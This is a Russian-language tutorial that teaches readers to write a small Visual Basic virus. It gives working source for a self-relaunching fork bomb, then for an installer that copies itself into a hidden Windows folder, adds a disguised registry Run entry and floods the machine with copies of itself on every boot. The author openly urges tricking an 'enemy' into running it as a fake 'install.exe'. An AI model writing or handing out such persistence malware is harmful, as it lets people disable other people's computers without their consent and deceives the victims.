Для чего люди пишут вирусы: для баловства, другие очень
сильно обижены на мир, а третьи для того чтобы доказать что они умеют кодить.
Мы отнесём себя к третьей группе и приступим к работе.
Большая часть вирусов идёт через интернет от одной машины к
другой раньше вирусы приходили через диски, дискеты и другие носители
информации, они как правило были написаны на ассемблере и весели не больше 100
кб. На Visual Basic
тоже можно писать вирусы которые по размерам будут очень малы но по содержанию
очень опасны.
Давайте рассмотрим такой простой пример:
Создайте форму и вставьте эти строчки кода. Нажимаем F5.
Private Sub Form_Load()
10 GoTo 10 'Вечный
цикл. Нас постоянно перебрасывает на строчку 10
End Sub
Этого достаточно чтобы машина повторяла операцию бесконечно.
И на моей машине
(Celeron 500 128mb)
курсор показывает песочные часы. Компилируем и получаем exe
весом 16кб. Этого явно недостаточно для полного зависания компьютера хотя если
машинка старенькая этого хватит. Но если учесть тот факт что пользователь сам
должен загрузить эту программу, то надо его заманить красивой иконкой и
названием install.exe.
Давайте попробуем усовершенствовать нашу программу:
Создайте форму и вставьте эти строчки кода. Компилируйте
программу и запускайте
Внимание перед выполнением этой
программы обязательно сохраните информацию в других программах. Понадобится
перезагрузка процессора.
Private Sub Form_Load()
10 Shell App.Path & "\" &
App.EXEName & ".exe"
GoTo 10 'Вечный
цикл. Нас постоянно перебрасывает на строчку 10
End Sub
Проходит немного времени и куча экземпляров вашей программы
забивает память полностью съедая все ресурсы машины. Как видно из кода
программа запускает свой экземпляр по схеме:
10 Запуск Директория где лежит программа + имя программы +
расширение
Идти на 10
Остаётся лишь немного приукрасить exe.
Как вы заметили запуск такой маленькой программы может привести к серьёзным
последствиям.
Но и этого мало. Нужно сделать так чтобы программа
загружалась в месте с Windows. Для это нам надо сделать
процедуру инсталляции на компьютер пользователя. Которая могла бы скопировать
вирус на компьютер и сама записать вирь автозагрузку. Кажется что нужно две
программы, нет всё это можно уместить в один exe файл
который выполнит всё сам.
Давайте разберём исходные задачи на таком примере. У вас
есть недруг (а у кого их нет?) приходим к нему с дискетой и говорим что есть
крутая программа заходим в
мой компьютер=>Диск 3.5=>Install.exe=> Запускаем=> Ни чего не происходит
И с чистой совестью говорим ему. Не запускается на верно
где-то потерял нужный файл для инсталляции и тихо уходим. А на самом деле всё
было так.
Вирус проверил не сидит ли он в директории windows\tor, оказалось что нет и он создал папку tor
в Windows. И записал себя в реестра, раздел Run
(Если хочешь знать какие программы сидят там сделай так
ПУСК=>Выполнить=>Пишем “regedit” без кавычек=>
Идём по такому пути: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ => Смотрим на ключи. Это всё что загружается с твоего
компа в момент загрузки). Дальше наш вирус просто перестаёт работать. Но когда
недруг включит свой агрегат то он будет не работоспособен поскольку как только
загрузится винда вирус завалит собой процессор напрочь. Вы лечить машину можно
только безопасным режимом и удалением вируса из загрузки или удалением папки с
вирусом. Поскольку первое проще потому что не каждый знает какая папка в винде
лишняя. Вот по этому условию мы и напишем нашу программу.
1.Создаём программу
2. Удаляем форму
3. Добавляем модуль
4. Ставим процедуру Sub Main() и ставим её как стартовый
объект она заменит нам Form_Load()
5. Вписываем код должно получится так:
Sub Main() 'Главная
распределяющая процедура
On Error Resume Next 'Если будут
ошибки то пропускаем их и идём дальше
If App.Path = Environ("windir") & "\TOR" Then ' Если нас установили до этого
Something 'то идём к деструктивному коду
Else 'а если нет
install 'То устанавливаемся на компьютер
End If
End Sub
Sub install() 'Процедура
инсталляции
On Error Resume Next 'Если будут ошибки то пропускаем
их и идём дальше
AppNamePath = App.Path & "\" & App.EXEName & ".exe" 'Откуда нас запустили
WinDir = Environ("windir") & "\TOR" 'Куда хотим установится
MkDir WinDir ' Создаём папку для
установки
FileCopy AppNamePath, WinDir &
"\" & App.EXEName & ".exe" 'Копируемся в папку
'для установки
Set Reg = CreateObject("WScript.Shell")'Прописываемся в авто загрузку
Reg.RegWrite
"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\torRundll32.exe",
WinDir & "\" & App.EXEName & ".exe" ‘ставим путь и название программы
End Sub
Sub Something() 'деструктивный код
On Error Resume Next 'Если будут
ошибки то пропускаем их и идём дальше
10 Shell App.Path &
"\" & App.EXEName & ".exe", vbMinimizedNoFocus
'Сюда можете вставить всё что хотите.
Я вставил процедуру загрузки себя бесконечно
'msgbox “I hate
lamo”
‘Шутка не всем нравится :-)
'x=x+1 можно досчитать до
1000000000000000000 за счет ресурсов друга.
'playsound (sex.wav) а если это
услышит начальник на работе :-).
GoTo 10
End Sub
Описание:
Процедура Sub Main
проверяет откуда нас запустили если всё нормально то переходит к Sub Something если нет то к Sub install. В
процедуру Sub Something можно поставить всё что душе угодно (ограничивается
только вашей фантазией и навыками программирование) можно вызвать переполнение
в стёке что приведет к ошибке. Это можно сделать повторно вызывая загрузку
формы в память. Можно проиграть wav очень громко что бы соседи встали на уши, поменять обои на
столе на непристойную картинку. И всё это будет срабатывать после каждой
загрузки виндовса. Конечно вирусом это назвать сложно но попугать товарища не
знающего как работать за компьютером, хватит.
VB же пригоден к написанию вирусов любой сложности это
доказывает вирус I love you.
Но помните вам может грозить
тюрьма и конфискация вашего любимого компьютера.